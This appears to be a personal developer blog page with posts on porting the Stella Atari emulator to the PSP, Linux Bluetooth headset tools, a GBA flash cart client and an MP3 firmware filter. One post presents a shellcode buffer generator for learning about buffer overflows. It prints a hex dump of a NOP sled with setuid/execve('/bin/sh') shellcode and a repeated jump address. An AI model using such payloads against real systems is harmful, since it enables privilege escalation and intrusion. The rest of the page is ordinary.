Skip to content

optixx Posts

New Stella Build

Updated PSP build to reflect lastest changes of the of the Stella project. Currently the PSP build only works when not disabling the Debugger Console during compile time. So this time configure option –disable-developer will leed to a broken build, even when the debugger is not useable on the PSP. This build is done with revison 1426 of pspsdk and libsdl.

Building

To build for the PSP, make sure psp-config is in the path and run:


   ./configure --host=psp 
   make
   make psp-layout
   make psp-upload

Dependencies

Download

Source

Leave a Comment

Shellcode Tool

Inspired by an article in german Hakin9 Magazin from October 2005, i wrote a little programm to test and generate shellcode.A good place to learn about buffer overflows is here. I found a interesting python framwork called inlinegg for shellcode generating. This make shellcode developing really easy and effective.

My simple tool is used to prepare buffers with shellcode.The actual asm code is done with nasm and linked a against a gcc main programm. The programm has three modes: dump, exec and gen.

Dump does a hexdump of the plain shellcode, usefull when tracing null bytes.

For testing the functionality of the shellcode you can use exec which simple calls the shellcode like function.

Gen is used to build a buffer with the actual shellcode. The code is hexdumped to stdout, raw code it written to stderr and also the enviroment var $CODE is set. Also the target buffer size and stack jump address as to be passed to the program. The buffer ist first filled with the jump address and then the first half with NOPs overwritten. The shellcode gets copied to the middle of the buffer.


./mkbuffer gen 256  0x1234567
Start: 0x0x8048bb0
End:   0x0x8048bd9
Len:   0x29 (41 bytes)
jump:  0x1234567
90
0x0000:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0010:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0020:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0030:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0040:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0050:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0060:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0070:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 31
0x0080:c0 b0 46 31 db 31 c9 cd 80 eb 10 5b 31 c0 88 43
0x0090:07 50 53 89 e1 b0 0b 31 d2 cd 80 e8 eb ff ff ff
0x00a0:2f 62 69 6e 2f 73 68 58 45 23 01 67 45 23 01 67
0x00b0:45 23 01 67 45 23 01 67 45 23 01 67 45 23 01 67
0x00c0:45 23 01 67 45 23 01 67 45 23 01 67 45 23 01 67
0x00d0:45 23 01 67 45 23 01 67 45 23 01 67 45 23 01 67
0x00e0:45 23 01 67 45 23 01 67 45 23 01 67 45 23 01 67
0x00f0:45 23 01 67 45 23 01 67 45 23 01 67 45 23 01
setup env $CODE



Download

Leave a Comment

New Kbtsco Release

A new Kbtsco release is available. Did some small tweaks.

  • Added Channel Forcing via Configure Menu. Some people reported having problems with the channel auto dedection, so that it’s now possible to asign the channel manually.
  • Added Cancel Menu item to interrupt the connect process, in case somebody hits the Connect button when no headset is available.
  • Switched Build System from Autotools to bksys.

Download

4 Comments

New Stella Release

Finished a new release of the the Atari 2600 Emulator Stella for the PSP. Did some bug fixing and fixed the build system to work with latest pspsdk. It’s seems that the Stella 2.0 version is nearly finished and it will be released on the official site in the near future.

Change Log

  • Fixed build system work with latest pspsdk ans psptoolchain
  • New key mapping
  • Control menu to access advanced features during the emulation
  • Support for overclocking via the configfile

Stella Stella Stella Stella

Laucher Menu

Game Menu

Control Menu

Emulation

Download

Source

Leave a Comment

Stella PSP Port

Ported the Atari 2600 Emulator Stella to the Portable Playstation. The Port is in offical project CVS at Sourceforge. Currently the version is beta and there is no offical psp build. You can download my build, but use it on your own risk.

Building

To build for the PSP, make sure psp-config is in the path and run:


   ./configure --host=psp --disable-developer
   make
   make psp-upload
   make psp-layout

Dependencies

  • psp-toolchain
  • pspsdk
  • libsdl
  • libpng

Status

  • Video: Support for scaled software mode and framebuffer hardware mode
  • Audio:Working
  • Input: Mouse emulation via Joystick
  • Snapshot: Working
  • Lauchner: Working
  • Menu : Working
  • Debugger: Not useable

KeymapMenu

  • Cross:Left Mouse Button

KeymapEmulation

  • Cross: Fire
  • Circle: Load State
  • Square: Save State
  • Triangle: Snapshot
  • Select: Console Select
  • Start: Console Reset
  • Left Trigger: Games Menu
  • Right Trigger: Command Menu

Known Bugs

  • SDL video driver is in early stage, so expect flickering and update problems
  • Stella will only compile/run with lastest sdl, pspskd and toolchain.
  • Stella will crash if SDL is compiled with –disable-stdio-redirect.
  • Also you need a custom libSDLmain which has a debugHandler for stdout.

Stella Stella

Picture 1

Picture 2

Download

Source

3 Comments

Bluetooth Headset and Linux

The Alsa-Bluetooth project project provides a way to use a bluetooth headset with Linux.They do this currently by making an alsa kernel driver which uses bluez to reach the headset.

I Wrote a KDE based user space daemon wich works as drop in replacement for the btsco daemon from the Alsa-Bluetooth package. The Programm is in early beta stage. Just start it from the Console and you will have a small kicker applet in your Systray. KBtsco has a function to discover the BAddr of your Headset. Once you did the pairing via e.g. KBluetoothd package, you can click the headset icon in the Systray to connect to the headset. All actions get visualized via On-Screen-Display in the right corner of your monitor. After connecting you can push your connect button on the headset wich actually opens the sco socket. I used this tool on daily basis with Skype. Sometimes sndbtsco seems to crash and eats all CPU time,it’s still beta i think.

Snes Snes

Picture 1

Picture 2

Download

4 Comments

Flash2Advance Parport Client

When i started developing for the GBA i bought a Flash2Advance because the MBV2 limited me too much. I took the Parport version, because i thought it’s more likely to find a Parport driver or client tool for Linux than a usb based. But the only Linux based tool i could find was the Usb client called f2a. So i decided to write my own client or user space driver. I took the Usb sources and added Parport support. I used Wine to reverse engineer the protocol. I took me 2 weekends to analyse the Wine io debug dumps and find all patterns. I even had to write some Python scripts to get worked through the whole io debug logfiles. But finally i had a working parport driver. Later i ported the Parport io code from outb/inp calls to Kernel parport dev interface. The whole tool was later integrated into the Ucon64 suite.

source

Leave a Comment

Loundness filter for BlueMp3

I wrote an extension to the BlueMp3 firmware. Now you can use an loudness filter on the mp3-player. After reading the VS1001 specs, the BlueMp3 mp3-decoder, i noticed that it’s possbile to upload code to the dsp.This code can manipulate the current mp3 stream, so perfect for a loundness filter. I worked through the VS1001 application note and wrote some routines to upload that VS1001 code to the chip. Then i integrated that routines into the BlueMp3 firmware. There is patch available for the 1.8 firmware but also the binary 2.5 firmware includes the loundness filter code.

patch firmware 1.8

patch client 1.8

binary 2.4

1 Comment